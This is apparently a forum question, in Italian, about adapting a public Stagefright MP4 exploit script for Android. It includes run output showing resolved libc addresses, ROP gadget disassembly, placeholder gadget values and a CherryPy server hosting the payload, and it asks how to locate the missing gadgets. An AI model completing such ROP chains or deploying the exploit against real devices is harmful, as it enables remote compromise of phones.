Exploit è pubblicato qui , tuttavia mancano diverse cose , ad esempio shellcode e si associa a localhost per lo sfruttamento, non può accedervi dal dispositivo Android quando viene avviato sul mio computer. Ho modificato i due nella mia versione.
Per eseguire l'exploit ho copiato libc.so da Android nella directory di lavoro. Tuttavia non è possibile trovare pop_r0_r1_r2_r3_pc e pop_r4_r5_r6_r7_pc. Li ho codificati su 0xffffffff solo per vedere se funziona ulteriormente. Come ottenere correttamente questi valori? Quale libc.so dovrei usare?
Esempio di esecuzione:
./ mp4_stagefright_release.py
[*] memcpy : 0xb6ecdc08
[*] mmap64 : 0xb6ed42ed
b6ecd034: e280204c add r2, r0, #76 ; 0x4c
b6ecd038: e8927ff0 ldm r2, {r4, r5, r6, r7, r8, r9, sl, fp, ip, sp, lr}
b6ecd03c: e33d0000 teq sp, #0
b6ecd040: 133e0000 teqne lr, #0
3068973108
[*] stack_pivot : 0xb6ecd034
b6f0f784: e49df004 pop {pc} ; (ldr pc, [sp], #4)
[*] pop_pc : 0xb6f0f784
[*] pop_r0_r1_r2_r3_pc : 0xffffffff
[*] pop_r4_r5_r6_r7_pc : 0xffffffff
b6f1015c: e59de040 ldr lr, [sp, #64] ; 0x40
b6f10160: e28dd048 add sp, sp, #72 ; 0x48
b6f10164: e12fff1e bx lr
[17/Sep/2015:22:21:01] ENGINE Listening for SIGHUP.
[17/Sep/2015:22:21:01] ENGINE Listening for SIGTERM.
[17/Sep/2015:22:21:01] ENGINE Listening for SIGUSR1.
[17/Sep/2015:22:21:01] ENGINE Bus STARTING
CherryPy Checker:
The Application mounted at '' has an empty config.
[17/Sep/2015:22:21:01] ENGINE Started monitor thread 'Autoreloader'.
[17/Sep/2015:22:21:01] ENGINE Started monitor thread '_TimeoutMonitor'.
[17/Sep/2015:22:21:02] ENGINE Serving on http://0.0.0.0:8080
[17/Sep/2015:22:21:02] ENGINE Bus STARTED